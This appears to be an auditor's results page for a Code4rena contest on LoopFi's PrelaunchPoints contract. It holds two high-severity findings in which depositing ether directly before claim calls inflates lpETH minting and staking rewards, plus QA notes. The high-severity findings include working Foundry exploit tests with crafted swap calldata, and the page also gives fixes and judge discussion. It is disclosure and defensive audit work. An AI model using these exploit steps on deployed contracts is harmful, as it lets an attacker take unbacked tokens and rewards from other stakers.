LoopFi - 0xrex's results

A dedicated lending market for Ethereum carry trades. Users can supply a long tail of Liquid Restaking Tokens (LRT) and their derivatives as collateral to borrow ETH for increased yield exposure.

General Information

Platform: Code4rena

Start Date: 01/05/2024

Pot Size: $12,100 USDC

Total HM: 1

Participants: 47

Period: 7 days

Judge: Koolex

Id: 371

League: ETH

LoopFi

Findings Distribution

Researcher Performance

Rank: 2/47

Findings: 2

Award: $456.23

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

284.4444 USDC - $284.44

Labels

bug
3 (High Risk)
satisfactory
sponsor acknowledged
sufficient quality report
:robot:_00_group
edited-by-warden
duplicate-33

External Links

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L226-L235 https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L263 https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

A user can lock up a very small amount of LRT e.g 0.5 rsETH while earning 10x+ more staking rewards compared to another user who locked up 10 rsETH effectively taking most of the staking reward pool from other honest stakers who are unaware of the exploit path.

Proof of Concept

  • User A locks 10 rsETH
  • User B locks 0.5 rsETH
  • The protocol activates lpETH claims
  • Claiming of lpETH is set
  • User A redeems then stakes his 10 rsETH for 9.99 lpETH (assuming he swapped at a favorable price)
  • User B slowly claims 0.05 rsETH while ending up staking 10.05 lpETH each time which shouldn't be because they only locked 0.5 rsETH. User B can do this 10+ times since 0.05 is only 10% of his 0.5 rsETH deposit which means they get to redeem and stake 100.5 lpETH altogether when they initially only locked 0.5 rsETH.
  • Keep in mind User A had no idea of this backdoor, so all they could stake was up to 9.99 lpETH and no more. With that being the case, User B now keeps 90+% of the reward pool to themself.
  • This attack is possible because of the way the contract handles its ether balance using address(this).balance which user B leverages as a backdoor entry to successfully put in a direct ether transfer into the contract before executing the claimAndStake() for lpETH staking which then associates the ether balance in the contract to them allowing them to stake more lpETH even though their initial locked rsETH was very little ~ 0.5 rsETH. This can then be automated to slowly siphon rewards from other users by calling claimAndStake(). This is possible because of the LRT claim process which differs from the ETH and WETH one.

Summarization is to transfer ether into the contract directly slightly before or while executing claimAndStake() for your LRT each call which will allow you to redeem then stake more lpETH than it should since lock-up periods are long past.

Paste the POC test into the PreLaunchPoints.t.sol test file and run the code with forge test --mt testSiphonStakeRewardsPOC

function testSiphonStakeRewardsPOC() public {
       address alice = makeAddr("alice");
       address bob = makeAddr("bob");

        lrt.mint(bob, 10 ether);
        lrt.mint(alice, 0.5 ether);

        vm.prank(bob);
        lrt.approve(address(prelaunchPoints), 10 ether); 
        vm.prank(alice);
        lrt.approve(address(prelaunchPoints), 0.5 ether); 

        vm.prank(bob);
        prelaunchPoints.lock(address(lrt), 10 ether, referral);
        vm.prank(alice);
        prelaunchPoints.lock(address(lrt), 0.5 ether, referral);

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();
        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.prank(bob);
        prelaunchPoints.claimAndStake(address(lrt), 100, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000dbd2fc137a300000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        assertEq(prelaunchPoints.balances(bob, address(lrt)), 0);

        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.05 lpETH
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000b1a2bc2ec5000000000000000000000000000000000000000000000000000000b147c91e4ac0000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        vm.warp(block.timestamp + 30 minutes);
        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.045 lpETH at this point
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000009fdf42f6e48000000000000000000000000000000000000000000000000000009c51c4521e00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        vm.warp(block.timestamp + 30 minutes);

        vm.deal(alice, 10 ether); // alice sends 10 ether to the contract
        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claimAndStake transaction execution
        vm.deal(address(prelaunchPoints), 10 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice); // @note alice specifies 10% to redeem in lpETH aka 0.0405 lpETH at this point
        prelaunchPoints.claimAndStake(address(lrt), 10, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000008fe28911674000000000000000000000000000000000000000000000000000008f879600ed00000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f0001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        // @note she can keep this up

        // @note since she always transfers ether directly right before the claimAndStake calls, she ends up with 10 lpETH plus the 10% in converted each time the swap will send back to prelaunchPoints each time evaluating to 10.05 `lpETH` the first call, then 10.045 `lpETH` the next call and 10.405 `lpETH` the next call and so on... claimed and staked each call which shouldn't be happening

        assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.3645 ether); // @note she still has plenty of leeway to run the exploit next time
        assertEq(lpETHVault.balanceOf(alice), 30 ether);
         // @note she successfully breaches the locking mechanism and gaming the staking rewards to get 30.1355 lpETH staked thereby taking a huge chunk of the rewards from bob and the rest stakers
    }

Test result

[PASS] testSiphonStakeRewardsPOC() (gas: 446597)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 33.25ms (4.64ms CPU time)

Tools Used

Manual review

The contract's usage of address(this).balance during claiming of lpETH is flawed. Rather than assuming the only ether in the contract at that time is the one gotten from the swap transaction for a claim, use a before and after balance to track and properly record the actual balance the swap resulted in. Then, use that delta as the amount to mint to the user in lpETH that is then staked.

Assessed type

Timing

#0 - c4-judge

2024-05-15T13:38:38Z

koolexcrypto marked the issue as primary issue

#1 - 0xd4n1el

2024-05-19T12:54:02Z

We manage this situation offchain, since points depend on the Locked event. Claimed event is used as a safeguard against tricky withdrawals and cannot boost points the way mentioned above. We might implement filter on ETH receive but not for this reason

#2 - c4-judge

2024-06-03T10:06:07Z

koolexcrypto marked the issue as duplicate of #33

#3 - c4-judge

2024-06-05T08:53:12Z

koolexcrypto marked the issue as partial-75

#4 - rexjoseph

2024-06-06T10:14:40Z

@koolexcrypto Forgive me, but I do not understand why this issue is graded partial-75 when it identifies the full impact and exploit scenario related to #33 and builds upon it for the staking part. I have two issues marked as duplicates of #33

  1. This issue being issue #48 where I didn't mention the deposit time invariant being broken.
  2. And issue #56 which is a full duplicate talking about the broken invariant and a coded POC to illustrate. I think #56 is a more complete report than #33 with all the facts but I can understand the selection is not from my point of view.

Since code4rena only awards one of 2 duplicates when a researcher has more than 1 duplicate tied to a primary issue, I think it is unfair to grade issue #48 as partial-75 when in fact it elaborates on the full impact and will then mess up rewarding for my issues. Making issue #48 a full duplicate will resolve this.

Could you please take a look at this? Thanks!

#5 - koolexcrypto

2024-06-10T09:40:39Z

Hi @rexjoseph

I do agree. marking this as a full credit.

#6 - c4-judge

2024-06-10T09:41:04Z

koolexcrypto marked the issue as satisfactory

Awards

284.4444 USDC - $284.44

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
upgraded by judge
:robot:_42_group
edited-by-warden
duplicate-33

External Links

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L252-L264

Vulnerability details

Impact

A user can still deposit more and end up minting more lpETH even at a time when it is no longer possible to be eligible to do so by funneling in ether deposits on every small lpETH claim which resolves to mint more lpETH than expected by the protocol without the supposed full amount being locked in ETH, WETH or LRTs in the first place.

This breaches one of the protocol's invariants:

Deposits are active up to the lpETH contract and lpETHVault contract are set

Proof of Concept

  • Alice locks 1 LRT or less. Let's assume the LRT is Renzo ETH in this case ezETH

PrelaunchPoints.sol#L143-L148

function lock(address _token, uint256 _amount, bytes32 _referral) external {
        if (_token == ETH) {
            revert InvalidToken();
        }
@>      _processLock(_token, _amount, msg.sender, _referral); // @note processes Alice's deposit of 1 ezETH
    }
  • We skip to the time when locking is no longer possible as the loop has been activated. We can see in the _processLock() function below, that there is a modifier to stop locking when the loop is activated onlyBeforeDate()

PrelaunchPoints.sol#L172-L175

function _processLock(address _token, uint256 _amount, address _receiver, bytes32 _referral)
        internal
@>      onlyBeforeDate(loopActivation) // @note blocks locking attempts after loop activation
    {
...

modifier onlyBeforeDate(uint256 limitDate) {
        if (block.timestamp >= limitDate) { // @note this reverts if loop activated
            revert NoLongerPossible();
        }
        _;
    }

PrelaunchPoints.sol#L211-L216

  • She calls claim()
function claim(address _token, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        external
        onlyAfterDate(startClaimDate)
    {
        _claim(_token, msg.sender, _percentage, _exchange, _data);
    }
  • Which executes _claim()

PrelaunchPoints.sol#L240-L266

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token]; // @note 1 ezETH
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100; // @note resolves to 1e16 with 1% passed in as the amount to claim or mint
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract // <---- @note initial protocol assumption, but it is wrong since she sends the ether into the contract directly
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data); // swaps 1e16 ezETH to ether and sends those in here ... now we have 100 ethers + 1e16 or whatever the swap returns - slippage and fee

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance; // @note now its 100 ether + 1e16 assuming no bad swap impact
            lpETH.deposit{value: claimedAmount}(_receiver); // @note mints 100 + 1e16 `lpETH` to Alice
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }
  • Following the _claim above, Since at this point in time, when claiming of lpETH has been activated and set, what she should only be able to do normally, is to claim aka swap her 1e18 ezETH balance to 1e18 lpETH. But what she does instead is to call the claim function, pass in x% to only convert x% of her ezETH into lpETH which, if she passed in 1% should resolve to having 1e16 lpETH claimed but then she first sends 100 ethers into the PrelaunchPoints contract which then allows her to now have 100 lpETH claimed + the 1e16 resolving from the 1% she specified. This effectively breaches the protocol assumption that Alice will only ever be able to mint 1 lpETH when in fact she has just minted 100 lpETH plus 1e16 lpETH plus the .99 ezETH she is yet to convert/claim and will leverage to mint more lpETH to continue exploiting this loophole.

Below is a coded POC for this exploit. Please read the test and paste it into the PrelaunchPoints.t.sol test contract. Run it with forge test --mt testBypassLockingPOC. You can append -vvvvv flag for execution trace verbosity.

// HELPER FUNCTION WE USED TO CRAFT THE SWAP INPUT DATA

    event EncodedPath(bytes encodedPath);

    function testEncodeSwapPath() public {
        address inputToken = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f; // aka mock ezETH
        uint24 fee = 100; // uniswap ezETH/WETH pool right now is 0.01% fee
        address outputToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // aka WETH address

        bytes memory encodedPath = abi.encodePacked(inputToken, fee, outputToken); // @note encoded swap path

        emit EncodedPath(encodedPath); // @note log so we can see and grab the bytes data
    }

    function testSellTokenForEthToUniswapV3Args_encoded() public {

        bytes memory usingFuncSel = abi.encodeWithSignature("sellTokenForEthToUniswapV3(bytes encodedPath, uint256 sellAmount, uint256 minBuyAmount, address recipient)", hex"5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", 0.01 ether, 0, 0x2e234DAe75C793f67A35089C9d99245E1C58470b);

        emit EncodedPath(usingFuncSel);

        /*
            0x1316cb1a0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000

                                THEN WE SWAP THE FUNCTION SIG INTO THE CALLDATA FROM `0x1316cb1a` TO `0x803ba26d` before proceeding to use it 
                                in the `prelaunchPoints.claim` call below in the `testBypassLockingPOC` function

            0x803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000
        */   
    }

    // EXPLOIT POC
    function testBypassLockingPOC() public {
        address alice = makeAddr("alice");

        // @note alice has 2 ezETH in her wallet
        lrt.mint(alice, 2 ether);

        uint256 lockAmount = 1 ether;

        vm.prank(alice);
        lrt.approve(address(prelaunchPoints), lockAmount * 2); // @note alice approves prelaunchPoints to transfer 2 ezETH but she only deposits 1
        vm.prank(alice);
        prelaunchPoints.lock(address(lrt), lockAmount, referral); // @note alice locks 1 ezETH into prelaunchPoints

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        // @note alice has acquired 100 ethers in her wallet
        vm.deal(alice, 100 ether);

        // simulation of alice transferring ether into the PrelaunchPoints contract right before her claim transaction execution
        vm.deal(address(prelaunchPoints), 100 ether); // @note lets see this as alice making the ether transfer to prelaunchPoints contract

        vm.prank(alice);
        vm.expectRevert(); // @note just testing to make sure locking ether or LRT is no longer allowed by the protocol but alice will breach it in the next call
        prelaunchPoints.lock(address(lrt), lockAmount, referral);

        vm.prank(alice); // @note alice specifies 1% which should resolve to only 1 lpETH being minted to her but then ...
        prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.UniswapV3, hex"803ba26d0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000002386f26fc1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e234dae75c793f67a35089c9d99245e1c58470b000000000000000000000000000000000000000000000000000000000000002b5615deb798bb3e4dfa0139dfa1b3d433cc23b72f000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000");

        // @note since she transferred ether directly right before the claim call, she ends up with 100 lpETH plus the 0.01 ether the swap will send back to prelaunchPoints
        assertEq(prelaunchPoints.balances(alice, address(lrt)), 0.99 ether); // @note she still has plenty of leeway to run the exploit next time
        assertEq(lpETH.balanceOf(alice), 100 ether); // @note she successfully breaches the locking mechanism to get 100 lpETH + 0.01 lpETH that will be a result of the swap sending back ether to prelaunchPoints
    }

Test result:

[PASS] testBypassLockingPOC() (gas: 299809)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.52ms (4.22ms CPU time)

Tools Used

Manual review

Use this modification of the else block in the _claim() function instead:

        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;
+           uint256 prevBalance = address(this).balance;
            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
+           uint256 currBalance = address(this).balance;

+           claimedAmount = currBalance - prevBalance;
-           claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

With this change, even if Alice tries to send ethers into the contract directly, it will be at a lost cause as she effectively donates it without exploiting the loophole.

Assessed type

Timing

#0 - c4-judge

2024-05-15T13:57:23Z

koolexcrypto marked the issue as duplicate of #6

#1 - c4-judge

2024-05-31T09:58:34Z

koolexcrypto marked the issue as duplicate of #33

#2 - c4-judge

2024-06-05T09:55:44Z

koolexcrypto marked the issue as satisfactory

#3 - c4-judge

2024-06-05T09:55:55Z

koolexcrypto changed the severity to 3 (High Risk)

Findings Information

Awards

70.1538 USDC - $70.15

Labels

bug
2nd place
grade-b
QA (Quality Assurance)
sponsor acknowledged
sufficient quality report
Q-09

External Links

[L-01] Users can withdraw even after 7 days when the loopActivation is set

PrelaunchPoints.sol#L274-L306 The LoopFi protocol promises users a 7 day grace period to withdraw their deposited tokens after the loopActivation date is set but there is no logic in the contract to stop withdraws after 7 days when the loopActivation is set but startClaimDate is not yet set. Assuming the call to convertAllETH() doesn't happen exactly 7 days after loopActivation date was set, users will still be able to withdraw past the 7 days time threshold.

Short POC

function testCanWithdrawPost7Days(uint256 lockAmount) public {
        lockAmount = bound(lockAmount, 1, INITIAL_SUPPLY);
        lrt.approve(address(prelaunchPoints), lockAmount);
        prelaunchPoints.lock(address(lrt), lockAmount, referral);

        uint256 balanceBefore = lrt.balanceOf(address(this));

        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + 8 days);
        prelaunchPoints.withdraw(address(lrt));

        assertEq(prelaunchPoints.balances(address(this), address(lrt)), 0);
        assertEq(lrt.balanceOf(address(this)) - balanceBefore, lockAmount);
    }

Using this updated withdraw() implementation below renders a fix to this potential issue:

function withdraw(address _token) external {
        if (!emergencyMode) {
            if (block.timestamp <= loopActivation) {
                revert CurrentlyNotPossible();
            }
            if (block.timestamp >= startClaimDate) {
                revert NoLongerPossible();
            }
+            if (block.timestamp >= loopActivation + 7 days) {
+                revert("past time to do so");
+            }
        }
        ...
}

[L-02] minBuyAmount of 0 opens the user claiming lpETH with their LRT balance to MEV loss

PrelaunchPoints.sol#L491-L505 Swap data for lpETH claims when encoded/decoded include a minBuyAmount that works similar to minAmountOut which in this case is not checked to not be 0 which would open users claiming lpETH to MEV attacks when it is 0.

Decoding the _swapCallData and checking that the minBuyAmount is not zero will close this open loophole that MEV can utilize.

[L-03] Missing zero address checks in constructor addresses

PrelaunchPoints.sol#L97-L114 The constructor arguments of the PrelaunchPoints contract are assumed to be inputted correctly but any copied zero address in the clipboard could get pasted by mistake with deployment being executed and forced to be redone. Zero address checks can be used in this case to prevent this.

constructor(address _exchangeProxy, address _wethAddress, address[] memory _allowedTokens) {
        owner = msg.sender; // @note good
        exchangeProxy = _exchangeProxy;
+       if (_exchangeProxy == address(0)) {
+         revert("zero address");
+       }        
        WETH = IWETH(_wethAddress);
+       if (_wethAddress == address(0)) {
+         revert("zero address");
+       }    

        loopActivation = uint32(block.timestamp + 120 days); // @note good
        startClaimDate = 4294967295; // Max uint32 ~ year 2107 @note good

        // Allow intital list of tokens
        uint256 length = _allowedTokens.length;
        for (uint256 i = 0; i < length;) {
+       if (_allowedTokens[i] == address(0)) {
+          revert("zero address");
+       }   
            isTokenAllowed[_allowedTokens[i]] = true;
            unchecked {
                i++;
            }
        }
        isTokenAllowed[_wethAddress] = true;
    }

[L-04] User sending any approved LRT to the contract by mistake loses the value sent which cannot be recovered

PrelaunchPoints.sol#L379-L386 Assuming a transfer of one of the approved LRTs is put into the PrelaunchPoints contract, such token cannot be recovered as the recoverERC20 call would revert at the if check because such token would be whitelisted

function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyAuthorized {
@>        if (tokenAddress == address(lpETH) || isTokenAllowed[tokenAddress]) { // @audit LOW LRTs sent by mistake & whitelisted cannot be pulled
            revert NotValidToken();
        }
        IERC20(tokenAddress).safeTransfer(owner, tokenAmount);

        emit Recovered(tokenAddress, tokenAmount);
    }

[L-05] User can earn extra points on the backend by setting themselves as the referral in the encoded _referral data

PrelaunchPoints.sol#L124-L126 PrelaunchPoints.sol#L133-L135 PrelaunchPoints.sol#L143 PrelaunchPoints.sol#L157

When making a deposit/lock call on the PrelaunchPoints contract, users can specify a referral who is encoded as bytes32 and then decoded on the backend to award points to them in the pointing system. Users who encode themselves as the referral can use this mechanism to inflate their points

function lockETH(bytes32 _referral) external payable {
@>        _processLock(ETH, msg.value, msg.sender, _referral); // @audit setting yourself as the referral gives you extra points
    }

[GOV-01] Setting the owner to a wrong address forces the protocol to lose access to crucial functions

PrelaunchPoints.sol#L336-L340 When a transfer of the contract's ownership is done to another address by mistake, the current owner ends up losing the contract ownership. Utilizing a two-step ownership transfer where ownership is not transferred unless the new owner accepts it would be great.

function setOwner(address _owner) external onlyAuthorized {
        owner = _owner;

        emit OwnerUpdated(_owner);
    }

[GOV-02] Protocol could drain LRT balances by disallowing the LRT first

PrelaunchPoints.sol#L364-L366 PrelaunchPoints.sol#L379-L386

The protocol can decide to drain all user deposits in LRTs by removing the token addresses from the isTokenAllowed first in order to bypass the check in the recoverERC20 function which ensures that only non-whitelisted tokens can be withdrawn.

function allowToken(address _token) external onlyAuthorized {
        isTokenAllowed[_token] = true;
    }
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyAuthorized {
@>        if (tokenAddress == address(lpETH) || isTokenAllowed[tokenAddress]) { // @audit check bypass
            revert NotValidToken();
        }
        IERC20(tokenAddress).safeTransfer(owner, tokenAmount);

        emit Recovered(tokenAddress, tokenAmount);
    }

#0 - CloudEllie

2024-05-11T17:26:50Z

#1 - 0xd4n1el

2024-05-13T17:00:08Z

L-1 is true but not concerning, L-3 could be considered

#2 - c4-judge

2024-06-03T10:39:14Z

koolexcrypto marked the issue as grade-b

#3 - DecentralDisco

2024-06-11T15:25:37Z

For awarding purposes, staff have marked as 2nd place. Also noting there was a tie for 2nd/3rd place.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter